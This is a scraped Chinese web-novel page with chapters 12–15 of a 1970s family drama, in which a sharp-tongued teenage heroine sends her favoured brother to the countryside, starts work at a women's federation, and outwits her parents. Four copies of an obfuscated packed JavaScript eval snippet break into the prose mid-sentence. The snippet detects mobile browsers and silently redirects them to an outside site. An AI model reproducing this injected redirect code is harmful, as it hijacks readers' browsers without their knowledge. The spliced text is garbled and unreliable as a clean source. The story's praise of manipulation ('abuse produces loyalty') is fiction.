;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565015|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五岁的经常劳动干活的女孩难道还比不上五岁小孩? 一切都是骗人的,实践出真知。 这下轮到对面担心了,宋上进的说话声音都变温和了,他好声劝道:“小南,你快把刀放下来,咱们一家人有什么不能好好说的?” 宋知南双手握刀,面带微笑:“那就好好说说吧,你们都别害怕,我是一个热爱和平的人,也是一个心软的人,我保证不先捅死你们。” 大家听到这话就更紧张了。 宋秋实人冷静下来了,精神却崩溃了,他喃喃道:“宋知南,你骗我,你说你下乡,事到临头却是我。” 宋知南语气平和地跟他讲道理:“咱们兄妹之间怎么能叫骗呢?我那是逗你玩。再说了,你比我大,按先后顺序也是该你下乡呀。孟子曰,天将大任于斯人也,必将苦其心志,劳其筋骨。男人就该多吃苦。这是上天对你的考验,你是一个没出息的废物,要是没有这番考验,你这辈子就完了。” 杠精值加5。 李玉华指着宋知南骂道:“宋知南,你这样坑你哥,你的良心过得去吗?” 宋知南一脸疑惑:“良心这玩意儿,咱们宋家有吗?你俩有吗?你们谁有掏出来给我看看。” 宋上进和李玉华的脸气得说不出话来。 杠精值加5。 宋知南继续跟大家摆事实讲道理:“你们三个都冷静冷静,宋秋实下乡这事是板上钉钉了,你们再怎么闹也没用,大家都不要情绪化。我知道你们不甘心,想去闹。但是我劝你们最好别这样。因为你们一闹,我也得闹,不闹嫌得我没礼貌。 你们要是闹得太过,我就去外面贴大字报,举报宋秋实对女同学耍流氓,举报你俩发表反、革、命言论,到时候宋秋实是不用下乡了,他可能要去劳动改造或者吃花生米,你们俩也得去劳动改造。两害相权取其轻。我劝你们就此罢手,趁着现在还有时间,赶紧去准备准备,明天高高兴兴地送人上火车,以后等我找了工作,也能减轻家里的负担,你们面子上也好看。” 李玉华呸了一声:“你想得美,我儿子过不好,你也别想过好。宋知南,你真的以为我治不了你是吗?” 李玉华此时是满心绝望,她已经想好了,等儿子下乡后,她就火速找人把宋知南这个白眼狼给嫁出去,也不管男人人品相貌如何,只要彩礼出得高就行。 宋知南从来不惮于以最坏的恶意揣测人性,她能想到李玉华和宋上进用什么方法对付她,便冷笑道:“你们也别想拿我换彩礼,你们敢干,我就敢毁了你们大家,谁收的彩礼谁去嫁,我可以亲自给亲妈送嫁,不信你们可以试试。” 李玉华背后阵阵发凉。 12.第12章美帝未灭,何以家为 宋家的气氛异常压抑,宋秋实垂头丧气,宋上进沉默不语,李玉华默默流泪。 宋知夏和宋冬宝小心翼翼得像鹌鹑似的缩在一旁,大气都不敢出,生怕不小心惹怒了谁被迁怒。他们俩现在哪一个都惹不起。 宋知夏用复杂的目光看着宋知南,她这个妹妹真是个狠人,敢情她以前的老实都是装的。怪不得有经验的老人说,不要把老实人逼得太狠,否则他们一旦发起疯来会非常可怕。看来她以后还是少招惹宋知南为妙。 宋冬宝则是偷偷打量着三姐,太可怕了,看看大哥都被坑成什么样了?关键是三姐坑了大哥还能全身而退,连顿打都没挨。以后他要乖乖的,再也不敢跟三姐作对了。同时,宋冬宝也通过这件事看清了宋秋实的实力,他就是只纸老虎,以后看他还敢惹自己。 李玉华哭了一会儿,想起宝贝儿子明早就要离开家了,赶紧擦干眼泪,翻箱倒柜去收拾东西,吃的穿的用的,每样都要带。还要多烙几张饼,多煮几个鸡蛋。鸡蛋怎么没了?李玉华嘴里骂骂咧咧的,赶紧出门去找魏芬借鸡蛋。 大家都在竖起耳朵听着宋家这边的动静,看着李玉华顶着通红的双眼出来去魏芬家,他们便哗啦一下涌到魏芬家串门,一边安慰李玉华一边打探消息:“玉华,你的眼睛都哭红了,你们俩口子可别气坏了。小南呢?” 魏芬担心宋家一家人打宋知南,就试探道:“婶子,你们没动手打小南吧?那孩子脾气勥,她要有个好歹,对你们家的名声可不好啊。” 李玉华思索片刻,最后还是没说实话,她怕她说出宋知南拿刀跟父母对着干,以后别人会连带着说家里其他几个孩子,一个女孩子都这么暴力,那家里的男孩子呢?家里的其他女孩呢?她不能让宋知南这颗老鼠屎毁了一锅好汤。 这个不能说,但控诉宋知南心狠不孝还是可以的:“哎哟,我们哪敢打她?不打她,她都要死要活的。那个白眼狼,她先是骗我们说她要下乡,没想到却偷偷把秋实的名字给写了上去。秋实可是她亲哥啊,她连自己的亲哥哥都坑,我就没见过这么狠心的人。我可怜的秋实,他今年才十八,还是个孩子啊。他从来没干过农活,也没做过家务,他连自己都照顾不好,以后可怎么活?” 魏芬却道:“婶子,秋实十八了你都不放心,那知南才十五,还是个女孩子,你咋就放心了? 李玉华被堵得说不出话来,忍不住瞪了魏芬一眼,这人怎么这么不会说话? 李玉华梗着脖子反驳:“那不一样,女娃怎么能跟男娃一样?秋实是家里的长子,是要给宋家传宗接代的,以后他还要给我们两口子养老送终。至于知南,我们养她到十五已经算是仁至义尽了。” 魏芬知道李玉华夫妻俩一向偏心,也懒得跟他们多说,便问道:“婶子,那你要借几个鸡蛋?” 李玉华说:“你有多少都拿给我,等下回买了我再还你。” 宝贝儿子要出远门,李玉华恨不得把家都搬给他。 她东家借点鸡蛋,西家借块腊肉干货,回家后又赶紧和面烙饼,油也不省了,可劲的用。 宋知夏看着她妈一勺勺地往外挖油,心疼得直抽抽,小心劝道:“妈,咱家以后不过日子了?” 李玉华正在气头上,没好气地骂道:“不过了。我的秋实都不在家,我也没心思过日子了。你们这些个丧了良心的白眼狼,下乡的本该是你们两个丧门星,那个丧良心的坑自己亲哥,骗亲爸亲妈;你胡乱找了个男人把自己摘出去过好日子去了。你们俩摸摸自己的良心,晚上睡得踏实吗?谁家的闺女会像你俩这么自私冷血?我生你们有什么用?就应该把你们都掐死!” 宋知夏被骂得抬不起头来,敢怒不敢言,但她心里却忍不住幸灾乐祸起来,爸妈不是最疼最秋实吗?他下乡去了,好了吧?一想到宋秋实要下乡吃苦,她的心情不由得舒畅起来。三妹这事干得真漂亮。 宋知夏低着头正要离开厨房躲避一下,却被李玉华叫住:“你上哪儿去?还不赶紧帮我干活,没眼色的东西。” 宋知夏缩回去接着干活,她学乖了,无论她妈怎样费油她也不吱声。反正这个家也不是她一个人的,不对,压根就不是她的,她们都是外人。 李玉华母女俩一直忙活到半夜,宋知夏回到房间时,累得连话都说不出来。她无声地塞给宋知南半张烙饼和一个煮鸡蛋,倒头便睡。 宋知南打着哈欠说了声谢谢,她半闭着眼睛把烙饼和鸡蛋都给吃了,吃完还不忘出去漱个口。 宋知南返回房间时,看着客厅里几大包袱的东西,趁着大家都在睡觉,就顺手拿了一半东西放在空间里。她担心被人发现,出去上个厕所,贴心地捡了些砖头和土坷垃塞在宋秋实的衣服和被子里,帮他增加点份量。 第二天,李玉华天不亮就起床给宋秋实做早饭,天亮时,宋知南也神清气爽地起床了。 李玉华一看到宋知南就气不打一处来,她突然想起这个白眼狼还骗了他们200块钱和30斤粮票,便追着她要:“既然你不下乡了,赶紧把钱和票还给我。” 宋知南两手一摊:“要钱没有,要命一条。” 说着,她拐进厨房,左手抓起两张烙饼,右手拿了两个煮鸡蛋,溜之大吉。 李玉华继续追着宋知南破口大骂,宋知南头也不回地说:“早上骂人不吉利,小心都报应到你大儿身上,他上车被小偷偷钱,下车摔断腿,进村被狗咬,咬得还是□□。” 李玉华一口老血憋在喉咙,险些背过气去,她终于停住了脚步。 宋知南一身轻松地离开了家,现在上班太早,早饭她已经吃了,回家又太闹,她索性坐公交去火车站溜达溜达。 火车站的广场上人头攒动,人山人海。 宋知南等了一会儿,远远地看见宋家人提着大包小包的行李簇拥着宋秋实过来了。宋秋实的同学看到他,不由得面带诧异,不是说他不用下乡吗? 宋秋实也觉得尴尬,只好岔开话题说些别的。 宋知南躲在一旁,等到宋秋实快进站时,她趁着人多再次帮他减轻负担,又顺手拿走了一包袱东西,宋秋实此时已经发现不对劲了,但上车的时间已到,说什么也晚了。 等到火车缓缓开走,李玉华忍不住放声大哭,宋上进唉声叹气,神色忧伤。宋知南则是面带微笑,事情终于告一段落,她可以专心忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566884|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的工作了。 宋知南从火车站回来,直接去妇联办公室报道,今天是她第一天上班,值得引起重视。 八点20左右,何黛来上班。8点半,何黛带着宋知南去人事科办手续。随着几道公章叭叭盖下来,宋知南正式成为妇联办公室的一名干事,妇联属于工会,因此她也是工会的一员。宋知南还领了职工福利:一身浅蓝色的工装,一条毛巾,一个搪瓷缸子,25斤食堂饭票。” 工会的其他人得知妇联又来了一名新干事,闲着没事的都过来看热闹,一看又是个年轻姑娘,不由得兴致大增,纷纷打探新人的情况。 其中最热心最爱做媒的马大姐两眼放光地拉着宋知南问:“小宋是吧,你今年多大了?有对象没有?你想找个啥样的?” 大家都竖起耳朵听着,刺探消息,人家马大姐才是专业的。 宋知南落落大方地回答:“马大姐好,我今年十五,还小呢,十五年内不打算找对象。” “哎哟哟,十五年内不找对象,十五年后你都三十了,小姑娘话不要说得那么满。你虽然年纪不大,但也可以早做准备嘛,下手晚了,好男人都被别人抢光了。” 宋知南面容严肃,语调铿锵有力:“美帝未灭,何以家为?全球不赤化,我没心思成家。” 马大姐的嘴张成了圆形:“……” 其他人的反应也跟她差不多。 不到半小时的时间,工会内部悄悄流传着一个消息:妇联办公室来了一个思想很古怪、理想很宏大的女同志,她说美帝不灭她不成家。有这样的同志,他们都替大洋彼岸的美帝捏一把冷汗。 还有个别人说,从宋知南的话可以看出来,民心可用,优势在我,美帝灭亡只是时间早晚的事。 有人错过了早上的好戏,还特地过来瞧宋知南一眼,顺便刺探一下情况。 “宋同志好,欢迎你加入我们工会,我叫赵大志。” 宋知南很有礼貌:“赵同志好。” “宋同志,我听人说,你已经发了宏愿,美帝不灭你不成家?” 宋知南:“是的,我们革命青年就是要有理想。赵大志同志,听你的名字你也是个有大志的人,你是不是也跟我一样,全球不赤化,你就不成家?” 赵大志尴尬了,“哈哈,我已经成家了。不过我也一样为国家做贡献嘛。” 赵大志接着又为自己找补一句:“宋同志,你好好干,有你这样的革命青年加入,咱们的革命事业将会从胜利走向更大的胜利。”说完,他赶紧溜了。 赵大志离开了,又有别的人来围观。 宋知南像上了峨眉山的金丝猴一样被众猴评判、围观。 何黛又气又无奈,这些人也真是的,第一天上班就搞这么大陈仗,人家小宋得多别扭呀,这帮人真是闲的。 宋知南却无所谓,她还不忘趁机宣传自己的本职工作:“我们妇联办公室,树社会主义新风,专为女同志鸣不平;妇联大舞台,受了委屈你就来。我是妇联干事宋知南,我的座右铭是:永葆激情,砥砺前行;知难而进,永不后退。” 众人:“好好,小宋,你真是个好同志。” 13.第13章家不是港湾,家是江湖 一上午时间,宋知南就在被人参观和熟悉工作中度过。到了中午,她端着搪瓷缸子去食堂打饭。 宋知南打了红烧冬瓜和醋溜土豆丝,三个馒头,她把饭菜吃得干干净净,然后趁着午休时间去纺织厂门口的副食店买了一斤如桃酥、一斤绿豆糕、一包五香瓜子和一包话梅送给魏芬,以示感谢。东西不多,主要是一片心意,感谢表示得越及时效果越好,以后人家还愿意帮你。 魏芬得知宋知南的工作正式办下来了,自然替她高兴。东西她硬是不收:“哎,我也没做什么,就是打听个消息而已,咱们多年邻居不是应该的吗?你别跟我客气。” 宋知南把东西硬塞到魏芬怀里,语气真诚:“姐,我没跟你客气,我就是想跟你分享找到工作的喜悦。我做为妹妹参加工作了,给姐姐买点吃的,不是应该的吗?你别推来推去了,快收下吧。” 魏芬见宋知南是真心想送,推辞了一下也就收下了。她再次感慨自己没帮错人,这姑娘是个知道感恩的。 宋知南又说:“魏姐,等我发了工资,我请你和两个侄女下馆子。” 魏芬笑着说:“下啥馆子,多贵呀。你发了工资好好存着别乱花,以后用钱的地方多着呢。” 两人站在门口聊了一会儿,便各回各的工位去了。魏芬把其他三样收起来,瓜子分给要好的小姐妹吃,顺便说起了宋知南,小姐妹们也纷纷夸赞宋知南是个知道感恩的,这姑娘值得帮。 午休时间,消息传得更快,很快就有人把上午在工会发生的事传了过来。 有人说道:“魏芬,你那个邻居妹子挺有意思啊,啥美帝未灭,何以家为。还有啥,妇联大舞台,委屈你就来。这顺口溜整得一套一套的,真是个人才。” “是的是的,我对她拭目以待。” 魏芬心里高兴,嘴里谦虚道:“她一个刚进妇联的新人,且得适应一阵呢。” “那倒也是。” 李玉华也在纺织厂工作,只是跟魏芬在不同的车间。她因为担心大儿子,一上午心神不宁,上班时差点出了事故,被组长严厉批评了一顿。 李玉华此时正一脸倦色的在休息室闭目养神,同车间的女工王美珍兴冲冲地跑过来恭喜李玉华:“老李,恭喜你呀,你三闺女当上妇联干事了。哎哟,咱们以后在工会也有人啦。” 其他人听到这话,刷地一下围上来,七嘴八舌地议论起来: “老李你行啊,不声不响地来了个大的。” “妇联的干事,那可是好工作,你走的哪边的门路?你也帮我姑娘问问呗。” 李玉华一脸懵,她不敢相信自己的耳朵:“美珍,你说啥?我三闺女当上妇联干事了?我咋不知道?” 王美珍也愣住了,“不会吧,这么大的事,你闺女都没告诉你?” 其他人悄悄对视一眼,有人恍然大悟,李玉华两口子偏心儿子大家都知道。听人说,她一直想让三女儿下乡,不知道为啥,最后下乡的却是大儿子。她三女儿估计是防着爹妈呢。唉,这个李玉华也真够可怜的,到头来,儿子没保住,闺女也跟她离了心。 李玉华只觉得脑中嗡地一声响,宋知南竟然被着她偷偷地找了个工作?她到底有没有把她这个妈放在眼里?呵呵,她不是一直挺厉害吗?要是她现在去闹,把她的工作闹没了,看她还怎么厉害。 李玉华想起下乡的大儿子,一时间,怒从心头起,恶向胆边生。她阴沉着脸跟大家说声:“我出去有点事。” 众人互相使着眼色,等到李玉华一出休息室便开始七嘴八舌的议论起来。 “你瞧老李那脸色够难看的,我猜她八成是找她闺女算帐去了。” “这搁谁都生气吧?工作这么大的事竟然瞒着亲妈。” “她闺女要是不瞒着,这工作还能是她的吗?” “这倒也是,厂里谁不知道李玉华两口子偏心。” …… 李玉华连走带跑,直奔妇联办公室而来。 此时,宋知南正跟何黛趴在办公桌上午睡。 李玉华怒气冲冲地进来,恶声恶气地嚷道:“宋知南,你给我出来!” 宋知南抬头一看是李玉华,当下就明白怎么回事了。何黛也被吵醒了,她不认得李玉华,还以为是来诉苦的,正要开口,就听宋知南说道:“阿黛,你去水房打两瓶开水,这位女同志是我的熟人,我来接待。” “哦哦,好的。” 何黛虽然好奇,但还提着两个热水瓶打水去了。 宋知南看着李玉华,平静地问:“你都知道了?你不用担心,我在这里挺好的。” 李玉华咬牙切齿地说:“宋知南你挺有能耐啊,竟然偷偷地找了个好工作,你说我要是找你领导闹一闹,你会咋样?” 宋知南面无表情:“妈,你要敢找我领导闹,我就去找你的领导闹,再找我爸的领导闹,大不了咱们一家三口一起回家待业呗。你说到时候,厂里会咋看我们?邻居们会咋看我们?妈,你只有一张脸,得省着脸丢。我年纪小,丢得起,你跟我爸一把年纪了,丢得起吗?” 李玉华恨恨地瞪着宋知南,那种眼神不像是看亲人,倒像是在看仇人,她恨声说道:“我怎么就生出你这个孽障?我当年为啥不狠狠心掐死你?” 宋知南耐心地给李玉华进行普法教育:“李同志,按照我国法律,我从出生的那一刻起就有了生命权,你掐死我属于犯罪。其实你是有机会的,你不怀我不就完事了吗?谁让你俩当时管不住自己呢?” 李玉华怒吼:“你给我闭嘴,你要点脸行吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14577868|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宋知南惊诧道:“咱俩谁不要脸?生孩子是涉黄耍流氓好不好?” “你!” 杠精系统连续播报三次,杠精值增加15分。 宋知南听到系统播报,心情相当不错,投胎投得好,杠精值少不了。这要是父母温和有爱,兄弟姐妹友好和睦,她哪来这么多杠精值?她就是命好,旁人根本模仿不了。看人看事的角度一变,天地自然变宽。 李玉华杠不过宋知南,便开始她的老把戏:哭。 她哭得鼻涕眼泪糊在一起,看上去相当不卫生。 宋知南皱着眉头,给她撕了一张草稿纸:“擦擦鼻涕吧,看着怪脏的。” 李玉华流着泪怒吼:“你到底有没有心?” 宋知南摸摸胸口:“心肯定是有的,现在正跳着呢。良心是没有的,咱家没那遗传,我也没办法。”全家都没有良心,凭什么她要有? 李玉华的哭声渐渐弱了,她盯着宋知南哑声问道:“你到底为啥变成了这个样子?以前你不是这样的。” 宋知南耐心地给她解惑:“树叶不是一天黄的,人心不是一天凉的。我是一点点地变成今天这个样子的。你们疼大的宠小的,我夹在中间又是个女儿,活是我干,气是我受,锅是我背。你舍不得十八的好大儿下乡,说他还小受不了苦,就舍得十五的我去,合着我天生就该受苦? 我抗争绝食,你们无视,那天我死了一回,逛了一回阎王殿,突然间想明白了。从此以后,你们爱谁谁,我只顾我自己。既然今生父母无缘,我就挥慧剑斩亲缘。咱们家不是温馨的港湾,咱们家就是刀光剑影的江湖,江湖嘛,少不了打打杀杀,少不了欺骗隐瞒。李同志,你说是不是?” 李玉华目光呆滞,陷入了沉默。 许久之后,她哑着嗓子说道:“小南,我承认我跟你爸是有点忽视你,那不是没办法吗?谁让咱家孩子多,你也是我身上掉下的一块肉啊,你知不知道我当初生你时……” 宋知南扬手打断她的话,一本正经地胡说八道:“停停,诉苦在我这儿无效,你别想让我愧疚。你那是没办法,我也没办法。你听过一句话吗?子女爱父母,则为之计深远。我对你们这样,就是为了让你们独立坚强,让你们思想进步。我让大哥下乡也是为了他好,我就想让他当一个独立的男人,我要让他知道,靠谁都不如靠自己,一个真正独立的男人可以不靠父母不靠姐妹也能生存。妈,你要明白我的一片苦心啊。” 李玉华此时真的不知道说什么好了。 杠精系统再次播报:杠精值加10。 宋知南对今天的收获十分满意,她和气地对李玉华说道:“李同志,咱下回再聊,你赶紧回去上班吧。你放心吧,你儿子在乡下死不了的,毕竟好人不长命,祸害活千年。” 14.第14章虐待产生忠诚 李玉华恍恍惚惚地离开了妇联办公室,回到工位,大家见到她这副失魂落魄的样子,有人心生同情,有人幸灾乐祸。 有关宋知南的消息像风一样传遍了纺织厂和家属院,邻居们听说宋知南不声不响地谋了个好工作后,不由得暗自咂舌,这姑娘真沉得住气,硬是一句话没透漏。等下班后,大家纷纷围上来打听消息。 “小南,听说你在妇联工作?” “哎哟,恭喜你呀。” 宋知南的态度还挺好:“是的,在妇联工作,领导说我口才不错,善良正直,仗义热心,就适合干这个。” 众邻居你看看我,我看看你,满心疑惑:善良正直,仗义热心? 仔细一想,人家宋知南别的不说,仗义是有的,每每路见不平,拔嘴相助。 宋知南接着说:“大家以后夫妻不和了,婆媳闹矛盾了,心里想不开了,都可以来找我。看在邻居的份上,我会好好替你们调解的。” “好的,好的。你真是个好同志,有好处都不忘邻居。” 大家伙不自觉地宋知南客气起来。人家有正式工作了,还是在工会,万一以后用得上呢,总比陌生人强吧? 只有魏芬的男人洪长山还惦记着上次的仇,依旧对宋知南不冷不热,甚至还带着一丝敌意。他要是知道宋知南的工作是自己媳妇介绍的,肯定得跟魏芬吵一架。 宋知南真诚地向洪长山道谢:“洪大哥,多亏了你,我才知道我适合调解家庭矛盾。你虽然不是个好丈夫好父亲,但你是个好邻居。” 洪长山只能无言以对。 不但邻居对宋知南变得客气,宋冬宝对她的态度也是害怕中带着一丝尊敬。 宋知南微笑:人性果然都是慕强的,谁都不例外。才一份工作而已,转变得就这么明显。 宋冬宝主动说:“三姐,今天晚上咱们吃什么?” 宋知南去厨房看了一眼装油的坛子,油坛都见底了,都是她妈败的,行,那就继续败家吧。 她说道:“切葱花打鸡蛋搅面糊,咱们摊煎饼吃。” 宋冬宝一脸纠结:“煎饼我也想吃,可是费油啊,爸妈回来骂咱们怎么办?” 宋知南挑眉:“妈给大哥烙饼费了多少油?怎么家里就只有宋秋实配吃油,我们不配?” 宋冬宝一听也觉得不公平,就是,凭什么呀。 宋知南:“让你干啥就干啥,责任我来承担。” 宋冬宝彻底无后顾之忧了,连忙点头答应:“哎哎,好。” 宋冬宝手忙脚乱地开始摊煎饼,宋知南搬个小板凳坐在厨房门口,一边监督宋冬宝干活一边给他洗脑:“冬宝,你这两天的表现不错,你有做饭的天赋,以后好好练,等有机会我把你弄进国营饭店当后厨工人。” 宋冬宝激动得手一抖:“姐,真的假的?我这样的还能进国营饭店?” 宋知南语气笃定:“我觉得没问题,你看我不就进工会了吗?事在人为。” 宋冬宝一想起这个,就暗暗佩服姐姐。 他见宋知南今天心情不错,就大着胆子多问了几句:“姐,你跟我说说,你是咋得到这份工作的?也让我也长长见识。” 宋知南一脸地云淡风轻:“一个妇联的干事而已,又不是什么位高权重的职位,不必多说。等我升到更高的位置时再跟你说。” 宋冬宝:“……” 宋知南接着说:“你是我亲弟弟,既然你问我了,我就随便说两句。你知道你姐我口才不错,会怼人会吵架对吧?” “知道知道。”他能不知道吗?他还知道姐姐会打人呢。 “我就是靠这个进去的,妇联需要我这样的人才。要不怎么说,人得有一技之长呢。” 宋冬宝无言以对,他也是今天才知道,原来会吵架也属于一技之长。 宋知南接着说:“冬宝啊,你最近小心些,别招惹爸妈,我感觉自从大哥下乡后,他俩快疯了。说到底,我们这些子女加在一起也比不上大哥一个人。” 宋冬宝有些疑惑:“我觉得也不至于吧。”他在家里也挺受宠的。 宋知南冷笑:“不至于?你好好想想,以后爸妈的工作第一个考虑谁接班?咱家的钱优先给谁?是,你也是儿子,但你不是长子,以后家里的家产大头都是大哥的,你也就喝点汤吧。当然啦,你比我们当女儿的强多了,我们连汤都喝不着。” 宋冬宝一边心不在焉地听着一边摊煎饼。 宋知南最后来一句狠的:“我就这么跟你说吧,有的人偏心偏惯了,无论对谁都偏心,你让他不偏他心里难受。在闺女和儿子之间,他们偏向儿子;在两个儿子之间,他们会偏向另一个。不为啥,这就是他们的本性,就像蝎子的本性就爱蛰人一样。你自己好好想想,我这人就是善良,自己淋过雨,就想给别人打伞。我对你可是掏心掏肺,说这些都是为了你好。我跟大哥之间是你死我活,矛盾不可调和。跟你是小打小闹,我的打是亲骂是爱。” 宋冬宝:“嗯嗯,姐,你对我可好了。”至少比对大哥好。 宋知南接着许诺好处:“冬宝,你好好干,等我发了工资,请你下馆子。我跟宋秋实不一样,我不像他自私自利吃独食。” “嗯嗯,我等着你请我。” 宋冬宝干活干得更起劲了。 宋知南点到为止,也就没再往下说。宋冬宝年纪小比较好洗脑,要不然那些老男人为啥喜欢找小姑娘,还不是因为小姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588479|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘好控制? 俗话说得好,洗脑洗得好,打都打不跑。虐待产生忠诚,她以后要把宋冬宝给虐出忠诚来。当然光虐还不行,打几个巴掌还要时不时地给个甜枣。这家伙就是个傻吊,同时也可以当作一把刀,没事扎扎宋秋实和宋上进夫妻,用他俩的儿子扎他们,效果十倍大,扎人还能诛心。 她暂时没法离开家里,那就得在家里确立自己的地位。既然家里总有一个人要掌权,为什么就不能是她? 宋冬宝在做饭,宋知夏回来了。 她看了一眼坐在马扎上看书的宋知南,欲言又止。 宋知南说:“二姐,我买了新衣服,你的衣裳还给你了。” 宋知夏赶紧说:“不要紧,你再穿几天也没事。”自从见过宋知南的刀和整人的手段,她对这个妹妹的态度就变了,忍不住想讨好她。 特别是当她听说宋知南靠自己找到了妇联的工作后,心情更加复杂,妒忌、羡慕、佩服各种情愫都有。 如果她有这本事,何至于要委身于陈安华那个丑货? 宋知夏甚至有一丝冲动,想问问宋知南能不能也帮她弄个工作,她想了想,还是作罢。她们姐妹关系很一般,尤其是最近这段时间变得更差,对方不大可能会帮她,况且,哪有那么多工作机会? 宋知夏去厨房帮着宋冬宝做饭,宋冬宝一看二姐进来了,本想趁机溜出去,宋知南淡淡扫了他一眼,他赶紧乖乖地缩回厨房继续干活。 宋知夏看弟弟这副怂样,不由得暗笑。果然,恶人自有恶人磨,谁能想到这个混蛋弟弟也有今天。 宋知夏摊好一锅煎饼,先端出来让宋知南尝尝。宋知南尝了几口,夸了一句:“味道还不错。” 两人继续摊煎饼,宋知夏看着空空的油坛,不禁担心,爸妈回来后又该骂人了,她瞥了一眼气定神闲的宋知南,心中大定,有人在前面顶着,她怕什么? 宋知南眼睛看着书,鼻子闻着煎饼的香味,心中涌起了一丝幸福感。他们这个家还是不错的,两个小的负责干活讨好她,两个老的给她提供源源不断的杠精值。这江湖要是利用好了,不比港湾差多少。 女人最重要的就是智慧、格局和心态。有了智慧和格局,看事情的维度就会自然升高,很多低维度的问题迎刃而解。比如面临原生家庭问题,所有的内耗痛苦纠结,就是因为你还把他们当亲人,当正常人。你直接把他们当奴隶和精神病,一切问题瞬间没了。无爱破情局,无情破全局。 你心态一好,看他人都是鳖孙傻吊,他们无论做出什么事,你都不会诧异,你只用慈悲宽容的眼神看着他,然后像对孙子一样狠抽他们。 今天又是顿悟的一天,每日格一物,天天有进步。 15.第15章哪里有压迫哪里就有反抗 宋上进迈着沉重的脚步回了家,他在路上听说了三女儿工作的事,这个闺女真是个狠人,不声不响地把哥哥送到了乡下,又不声不响地给自个儿找到一个好工作。他们两口子都是普通工人,没什么人脉,他知道找一个工作有多么不容易。 宋上进原本想着,等到知夏嫁到陈家,他就利用陈家的人脉给秋实找个工作,实在不行,他也只能让李玉华提前退休,跟别人换个适合秋实的岗位。 但他万万没想到知南这个白眼狼会背着全家给秋实报名下乡。他知道得太晚了,一切已成定局,无论做什么都来不及,一切计划全打乱了。宋上进一夜之间老了好几岁,儿女都是来讨债的,就没有一个省心的。 宋上进一进家门,就看见宋冬宝正忙着往客厅端饭,身上还系着围裙。 他觉得这一幕无比刺眼,冬宝可是个男孩,一个男孩子天天围着灶台转,这叫什么事?而那个始作俑者宋知南,正像个大爷似的坐在桌边等着吃饭,以前家里只有他才有资格这样。 宋上进的心头莫名涌上一股邪火,发也不敢发,压也压不住。要换作以前,他不用考虑任何后果,张口就骂,顺手就打也有可能。可是现在,他做任何事情前都得好好想一想。 宋上进只能压着火,试着跟宋知南讲道理:“小四啊,你弟今年才十四,你就忍心这么使唤他?” 宋知南一脸诧异:“十四岁很小吗?大姐二姐和我可是六七岁就开始干家务,十岁就开始洗衣做饭,你不是说穷人的孩子要早当家吗?咋地,咱家挖到黄金突然不穷了?还是说你儿子是猪,是养来杀的,所以不能干活怕掉膘?” 宋上进哑口无言。 杠精值加5。 宋上进堵得胸口发闷,气成内伤。 宋知夏在旁边听着只觉得心头一阵爽快,想笑又不敢笑。 宋冬宝不觉得可笑,因为他就是三姐嘴里的那头猪。 宋上进到家不久,李玉华也回来了。她脸色灰败,脚步发飘。邻居跟她打招呼,她都是强打起精神应付。 大家目光炯炯地盯着李玉华,这人好可怜,看来真是伤到心窝子了。 魏芬回家后,不由得担心起宋知南来,以宋家两口子的性格肯定不会善罢干休。他们只是在家里闹还能控制,万一闹到宋知南的领导那儿就不好说了,知南一个刚上班的小职工,惹来这种麻烦事,以后领导怎么看她?同事怎么看她? 魏芬想了想,决定去串个门,缓和一下气氛。 魏芬没空着手过去,她拿了自己做的咸菜疙瘩和一碗腌黄瓜去了宋家。 “宋叔,李婶。这是我自己腌的咸菜和酸黄瓜,你们尝尝。” 宋上进和李玉华勉强打起精神应付魏芬。 宋知南和宋知夏热情招呼魏芬,三人你一句我一句地聊了起来。 魏芬小心翼翼地把话题把工作上引,“知南,你终于熬出头了,咱纺织厂的妇联属于工会,你可是工会的人了。以后,咱们大家有事还得找你呢。你可给你爸妈争了光。宋叔李婶,你们说是不是?现在谁不夸咱们知南厉害?” 魏芬暗暗观察着宋上进和李玉华的脸色。 李玉华依旧面如死灰,这工作是好,是有面子,可是那又怎样?这工作又不是她儿子的,她的秋实下乡受苦去了。 